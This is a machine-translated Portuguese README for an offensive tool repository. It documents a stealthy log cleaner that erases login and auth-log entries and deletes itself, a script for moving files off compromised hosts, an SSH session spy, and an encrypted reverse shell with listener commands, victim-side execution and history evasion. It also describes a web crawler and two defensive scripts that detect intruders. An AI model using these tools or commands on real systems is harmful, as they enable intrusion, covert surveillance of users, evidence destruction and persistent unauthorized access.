Este repositório contém scripts que podem ser úteis durante suas atividades de combate à liberdade. Ele será atualizado ocasionalmente, quando eu me encontrar precisando de algo que não encontro online. Tudo aqui é distribuído sob os termos da licença GPL V3.
Contribuições e solicitações de tração são muito bem -vindas.
Um limpador de log que remove entradas incriminadoras em:
/var/run/utmp
, /var/log/wtmp
, /var/log/btmp
(controla a saída dos comandos da who
, w
e last
)/var/log/lastlog
(controla a saída do comando lastlog
)/var/**/*.log
(.Log.1, .Log.2.gz, etc. incluído)As entradas são excluídas com base em um endereço IP e/ou nome de host associado.
Cuidados especiais são tomados para evitar quebrar os descritores de arquivos enquanto adultera os logs. Isso significa que os logs continuam a ser escritos depois de serem adulterados, tornando a limpeza muito menos conspícua. Todo o trabalho ocorre em uma unidade TMPFS e todos os arquivos criados são limpos com segurança.
AVISO: O script foi testado apenas no Linux e não poderá limpar as entradas do UTMP em outros sabores Unix.
usage: nojail.py [-h] [--user USER] [--ip IP] [--hostname HOSTNAME]
[--verbose] [--check]
[log_files [log_files ...]]
Stealthy log file cleaner.
positional arguments:
log_files Specify any log files to clean in addition to
/var/**/*.log.
optional arguments:
-h, --help show this help message and exit
--user USER, -u USER The username to remove from the connexion logs.
--ip IP, -i IP The IP address to remove from the logs.
--hostname HOSTNAME The hostname of the user to wipe. Defaults to the rDNS
of the IP.
--regexp REGEXP, -r REGEXP
A regular expression to select log lines to delete
(optional)
--verbose, -v Print debug messages.
--check, -c If present, the user will be asked to confirm each
deletion from the logs.
--daemonize, -d Start in the background and delete logs when the
current session terminates. Implies --self-delete.
--self-delete, -s Automatically delete the script after its execution.
Por padrão, se nenhum argumento for fornecido, o script tentará determinar o endereço IP para limpar com base na variável do ambiente SSH_CONNECTION
. Qualquer entrada que corresponda aos DNs reversos desse IP também será removida.
./nojail.py --user root --ip 151.80.119.32 /etc/app/logs/access.log --check
... removerá todas as entradas para a raiz do usuário, onde o endereço IP é 151.80.119.32 ou o nome do host é manalyzer.org
. O usuário também será solicitado antes de excluir cada registro por causa da opção --check
. Por fim, o arquivo /etc/app/logs/access.log
será processado, além de todos os padrão.
Se as pastas forem fornecidas como argumentos posicionais ( /etc/app/logs/
por exemplo), o script os rasteja recursivamente e limpará qualquer arquivo com a extensão .log
( *.Log.1, *.Log.2.gz, etc. incluído).
Você também pode remover linhas arbitrárias do arquivo de log. Para fazer isso, use a opção --regexp
. Por exemplo, a seguinte linha de comando procurará todas as solicitações de postagem para arquivos PHP do IP especificado:
./nojail.py --ip 151.80.119.32 --regexp "POST /.*?.php"
./nojail.py --daemonize
Supondo que isso seja executado a partir de uma conexão SSH, este comando excluirá todos os logs referentes à atividade do usuário atual com o endereço IP detectado e o nome do host logo após o fechamento da conexão. Esse script será posteriormente excluído automaticamente. Lembre -se de que você não terá nenhuma oportunidade de receber mensagens de erro do aplicativo. Você é incentivado a tentar excluir os troncos uma vez antes de gerar o demônio para garantir que os argumentos especificados estejam corretos. Se você estiver em um shell sem tty, o script não poderá detectar quando a sessão terminar. Você será notificado de que os logs serão excluídos em 60 segundos e que você deve fazer logon antes disso (ou correr o risco de criar mais entradas após a execução do script).
root@proxy:~# ./nojail.py
[ ] Cleaning logs for root (XXX.XXX.XXX.XXX - domain.com).
[*] 2 entries removed from /var/run/utmp!
[*] 4 entries removed from /var/log/wtmp!
[ ] No entries to remove from /var/log/btmp.
[*] Lastlog set to 2017-01-09 17:12:49 from pts/0 at lns-bzn-XXX-XXX-XXX-XXX-XXX.adsl.proxad.net
[*] 4 lines removed from /var/log/nginx/error.log!
[*] 11 lines removed from /var/log/nginx/access.log!
[*] 4 lines removed from /var/log/auth.log!
Este script é fornecido sem garantias. Não me culpe, não limpa todos os traços de algo que você não deveria ter feito em primeiro lugar.
Um script portátil e seguro de compartilhamento de arquivos. Enquanto a liberdade luta, geralmente não é possível arquivos SCP em máquinas comprometidas. São necessárias maneiras alternativas de fazer upload de arquivos, mas a maioria dos serviços de compartilhamento é muito restritiva ou não fornece uma maneira de recuperar arquivos facilmente da linha de comando. As considerações de segurança também podem impedir que as pessoas enviem arquivos confidenciais para provedores de nuvem por medo de que mantenham uma cópia para sempre.
Este pequeno e portátil script Bash depende do transfer.Sh para resolver esse problema. Isto...
torify
se estiver presente no sistema para aumentar a anonimidade. As únicas dependências necessárias são openssl
e curl
ou wget
.
root@proxy:~# ./share.sh ~/file_to_share "My_Secure_Encryption_Key!"
Success! Retrieval command: ./share.sh -r file_to_share "My_Secure_Encryption_Key!" https://transfer.sh/BQPFz/28239
root@proxy:~# ./share.sh -r file_to_share "My_Secure_Encryption_Key!" https://transfer.sh/BQPFz/28239
File retrieved successfully!
Argumentos adicionais durante o upload permitem controlar o número máximo de downloads permitidos para o arquivo ( -m
) e quantos dias transfer.sh o manterão ( -d
). O valor padrão para ambas as opções é 1.
Aviso : não use espaços na chave de criptografia, ou apenas a primeira palavra da sua senha será levada em consideração. Isso se deve à maneira como getopts
lida com argumentos (eu acho). As solicitações de tração são bem -vindas se alguém estiver interessado em consertar isso.
O Autojack é um script curto que alavancava o Shelljack do EmppaMonkey para registrar o terminal de qualquer usuário que se conecte através do SSH. Ele observa auth.log
para conexões bem -sucedidas, descobre o PID do processo bash
do usuário e deixa o restante para o shelljack
.
Inicie-o em uma tela e aguarde até que outros usuários fizessem login. A sessão deles será registrada para /root/.local/sj.log.[user].[timestamp]
.
O script não é particularmente furtivo (nenhuma tentativa é feita para ocultar o processo shelljack
), mas fará o trabalho. Observe que, para evitar a auto-incriminação, o usuário root
não é direcionado (isso pode ser comentado trivialmente no código).
O Listurl é um sites com vários threads Crawler, que obtém uma lista de páginas disponíveis do destino. Este script é útil para caçadores de peças de insetos que tentam estabelecer a superfície de ataque de um aplicativo da web.
usage: listurl.py [-h] [--max-depth MAX_DEPTH] [--threads THREADS] [--url URL]
[--external] [--subdomains] [-c COOKIE]
[--exclude-regexp EXCLUDE_REGEXP]
[--show-regexp SHOW_REGEXP] [--verbose]
Map a website by recursively grabbing all its URLs.
optional arguments:
-h, --help show this help message and exit
--max-depth MAX_DEPTH, -m MAX_DEPTH
The maximum depth to crawl (default is 3).
--threads THREADS, -t THREADS
The number of threads to use (default is 10).
--url URL, -u URL The page to start from.
--external, -e Follow external links (default is false).
--subdomains, -d Include subdomains in the scope (default is false).
-c COOKIE, --cookie COOKIE
Add a cookies to the request. May be specified
multiple times.Example: -c "user=admin".
--exclude-regexp EXCLUDE_REGEXP, -r EXCLUDE_REGEXP
A regular expression matching URLs to ignore. The
givenexpression doesn't need to match the whole URL,
only a partof it.
--show-regexp SHOW_REGEXP, -s SHOW_REGEXP
A regular expression filtering displayed results. The
given expression is searched inside the results, it
doesn't have tomatch the whole URL. Example: .php$
--no-certificate-check, -n
Disables the verification of SSL certificates.
--output-file OUTPUT_FILE, -o OUTPUT_FILE
The file into which the obtained URLs should be
written
--verbose, -v Be more verbose. Can be specified multiple times.
Aqui está a saída de amostra para um pequeno site:
./listurl.py -u https://manalyzer.org
[*] Started crawling at depth 1.
[*] Started crawling at depth 2....
[*] Started crawling at depth 3.
[*] URLs discovered:
https://manalyzer.org/report/f32d9d9ff788998234fe2b542f61ee2c (GET)
https://manalyzer.org/report/eb4d2382c25c887ebc7775d56c417c6a (GET)
https://manalyzer.org/report/ca127ebd958b98c55ee4ef277a1d3547 (GET)
https://manalyzer.org/upload (POST)
https://manalyzer.org/report/dd6762a2897432fdc7406fbd2bc2fe18 (GET)
https://manalyzer.org/report/2fba831cab210047c7ec651ebdf63f50 (GET)
https://manalyzer.org/report/029284d88f7b8586059ddcc71031c1f1 (GET)
https://manalyzer.org/ (GET)
https://manalyzer.org/report/83f3c2b72e3b98e2a72ae5fdf92c164e (GET)
https://manalyzer.org/report/1bf9277cc045362472d1ba55e4d31dd5 (GET)
https://manalyzer.org/report/af09bf587303feb4a9e9088b17631254 (GET)
https://manalyzer.org/report/508d8094be65eaae4d481d40aacb2925 (GET)
https://manalyzer.org/report/0e8592aa78d6e5a14043ab466601ef9b (GET)
https://manalyzer.org/report/b52ddc0dda64f35721d5692e168ad58c (GET)
https://manalyzer.org (GET)
https://manalyzer.org/bounty (GET)
https://manalyzer.org/search (POST)
As opções --exclude-regexp
e --show-regexp
são usadas para controlar quais URLs devem ser mostradas ou ignoradas. Por exemplo, no exemplo acima, você pode ignorar as páginas que provavelmente serão muito semelhantes:
./listurl.py -u https://manalyzer.org --exclude-regexp "/report/"
[*] Started crawling at depth 1.
[*] Started crawling at depth 2...
[*] Started crawling at depth 3.
[*] URLs discovered:
https://manalyzer.org (GET)
https://manalyzer.org/bounty (GET)
https://manalyzer.org/upload (POST)
https://manalyzer.org/search (POST)
https://manalyzer.org/ (GET)
Observe que os URLs correspondentes não serão rastejados. Isso é particularmente útil quando o script se perde em páginas de comentários profundos ou conteúdo repetitivo. Como alternativa, você pode estar interessado apenas em scripts php: ./listurl.py --show-regexp ".php$"
.
Por padrão, o rastreador vai apenas 3 níveis de profundidade. Isso é algo que você pode controlar com a opção --max-depth
.
Outra consideração é se os URLs apontando para domínios externos devem ser seguidos. Por padrão, o script não, mas você pode ativar isso definindo o switch --external
. Se você não estiver interessado em domínios externos aleatórios, mas ainda deseja estender o rastreamento a subdomínios, pode definir o interruptor --subdomains
:
./listurl.py -u https://google.com --subdomains
[*] Started crawling at depth 1.
[*] Started crawling at depth 2.^C
Interrupt caught! Please wait a few seconds while the threads shut down...
[*] URLs discovered:
https://drive.google.com/drive/ (GET)
https://google.com/../../policies/privacy/example/phone-number.html (GET)
https://play.google.com/store/books/details/Markus_Heitz_Le_Secret_de_l_eau_noire?id=Oh1rDgAAQBAJ (GET)
https://play.google.com/store/books/details/Leslie_Kelly_Face_au_d%C3%A9sir?id=mUtyDAAAQBAJ (GET)
https://mail.google.com/mail/?tab=Tm (GET)
https://google.com/../../policies/privacy/example/your-activity-on-other-sites-and-apps.html (GET)
https://google.com/locations/ (GET)
[...]
Observe que, se o script demorar muito, você poderá acertar Ctrl+C a qualquer momento para desligá -lo. Você será mostrado as páginas descobertas até agora.
Se você precisar acessar páginas autenticadas em um site, poderá fornecer cookies para listurl.py da linha de comando com a opção --cookie
.
Por fim, se você estiver trabalhando em um site que possui um certificado SSL inválido ou autoassinado, use a opção --no-certificate-check
para ignorar os erros SSL.
ersh
é uma concha reversa criptografada escrita em python puro. Já esteve em uma caixa sem utilitários ou ferramentas de compilação padrão e nenhuma maneira fácil de fazer upload de binários? Você tem medo do que um IDS notará uma concha de saída? Fechou acidentalmente seu ouvinte NetCat porque você pressionou ^C
? Não sofra mais.
ersh
oferece os seguintes recursos:
Para uma discussão mais detalhada sobre como essa ferramenta surgiu, consulte esta postagem do blog.
Este script precisa ser editado antes de funcionar! Procure este marcador perto do início:
###############################################################################
# EDIT THE PARAMETERS BELOW THIS LINE
###############################################################################
O HOST
e PORT
são auto-explicativos, mas você pode precisar de ajuda adicional para os certificados SSL. No entanto, ninguém quer lutar contra o cliente do OpenSSL, para que você possa usar as seguintes frases:
openssl req -new -newkey rsa:2048 -days 50 -nodes -x509 -subj "/C=US/ST=Maryland/L=Fort Meade/O=NSA/CN=www.nsa.gov" -keyout server.key -out server.crt && cat server.key server.crt > server.pem && openssl dhparam 2048 >> server.pem
openssl req -new -newkey rsa:2048 -days 50 -nodes -x509 -subj "/C=US/ST=Maryland/L=Fort Meade/O=NSA/CN=www.nsa.gov" -keyout client.key -out client.crt
É isso! Agora você deve ter cinco novos arquivos na sua pasta atual: server.(crt|key|pem)
e client.(crt|key)
. Alguns deles precisam ser inseridos no script para que o shell reverso e o ouvinte possam se autenticar. Especificamente:
client_key
deve conter o conteúdo do client.key
.client_crt
deve conter o conteúdo do client.crt
.server_crt
deve conter o conteúdo do server.crt
.É isso, não é mais necessário editar.
Considerando que uma negociação completa do TLS prosseguirá, um ouvinte tradicional nc
não será suficiente aqui. socat
foi escolhido para esta tarefa, devido à sua capacidade de lidar com criptografia e TTYs. Nas distribuições baseadas em Debian, você poderá obtê-lo simplesmente executando sudo apt-get install socat
.
Supondo que você ainda esteja na pasta em que gerou as chaves e os certificados e deseja ouvir na porta 443, aqui está a linha de comando que você deve executar na máquina onde o shell reverso chegará:
socat openssl-listen:443,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:`tty`,raw,echo=0
Você não precisa copiar o script para a máquina remota para que ele funcione. Aqui está uma maneira simples de executá-lo de um shell não interativo. Copie todo o script para a sua área de transferência e execute os seguintes comandos na vítima:
python - <<'EOF'
[paste script contents here]
'EOF'
Se você está tentando lançar ersh.py
a partir de um ambiente que não suporta várias linhas (como gêmeos), também pode tentar gerar uma linha como esta:
root@attacker:~/freedomfighting# gzip -c ersh.py | base64
H4sICPMsblkAA2UucHkA1Vp5k6O4kv+fT8FUx8RULdU2PsB27asXCxh8Ajbgs2eiHocwmNMcxvjT
r4Rdd0/PvNiZjV0iqgxSKpXK45cpxJef6nma1A03rMdl5kQhdnNzg4EkdWpxiRsl/l/jPM1cEyj6
[...]
weevely> echo "H4sICPMsblkAA2..." | base64 -d | gunzip | python
Na máquina receptor:
root@attacker:~/freedomfighting# socat openssl-listen:8080,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:`tty`,raw,echo=0
Na vítima:
root@victim:~# python ersh.py
[*] Connection established!
root@victim:~#
E no receptor novamente:
root@attacker:~/freedomfighting# socat openssl-listen:8080,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:`tty`,raw,echo=0
root@victim:~# unset HISTFILE
root@victim:~#
Este script foi escrito para detectar ataques do mal da empregada. Faz isso, verificando o tempo de inicialização se o disco rígido foi ligado, mas não o sistema operacional (por exemplo, se foi retirado do computador para uma cópia, ou se alguém tentasse inicializar a máquina, mas foi interrompida por uma senha do FDE ).
Você precisa garantir que este script seja executado em todas as botas. As instruções a seguir funcionarão em distribuições usando o SystemD.
/etc/systemd/system/
. Corrija os caminhos dentro dele, conforme necessário. O script será executado como raiz, portanto, verifique se não é mundialmente gravável!#> systemctl enable boot_check.service
Instale dependências:
#> apt install smartmontools dialog
Execute o script uma vez para inicializar:
#> ./boot_check.py
Se uma mensagem de confirmação aparecer, você está pronto para ir.
Se você deseja garantir que o script funcione, certifique -se de fazer o seguinte:
Este script foi criado para fornecer uma maneira simples de "trap booby", certos executáveis em um sistema Linux. A idéia é detectar invasores quando eles usam certos binários ( id
, whoami
, gcc
) em um servidor que não possuem.
Para proteger esses binários, notify_hook.py
crie links simbólicos para este script mais alto no PATH
. notify_hook
enviará um alerta e chamará o programa pretendido de maneira transparente. Por exemplo, se você deseja "proteger" id
, basta criar o seguinte symlink em sua máquina:
ln -s path/to/notify_hook.py /usr/local/bin/id
... e todas as chamadas futuras para id
devem ser roteadas através deste script. Obviamente, essa não é uma maneira infalível de detectar hackers em seus sistemas, mas, no entanto, deve capturar os intrusos mais descuidados.
Alguns programas e scripts em seu sistema podem invocar regularmente alguns dos binários que você deseja proteger. Nesse caso, você pode editar uma variável chamada CALLER_WHITELIST
colocada no início do script. Coloque o nome desses processos na lista para desativar alertas deles (expressões regulares são aceitas).
O método de notificação atual implementado neste script é uma mensagem de texto enviada pelo sinal com o Sign-Cli da Asamk. Você precisará instalar este projeto separadamente, se quiser usá -lo ou, mais provavelmente, substituir a função notify_callback
colocada no topo do notify_hook.py
por qualquer que seja o que for adequado às suas necessidades.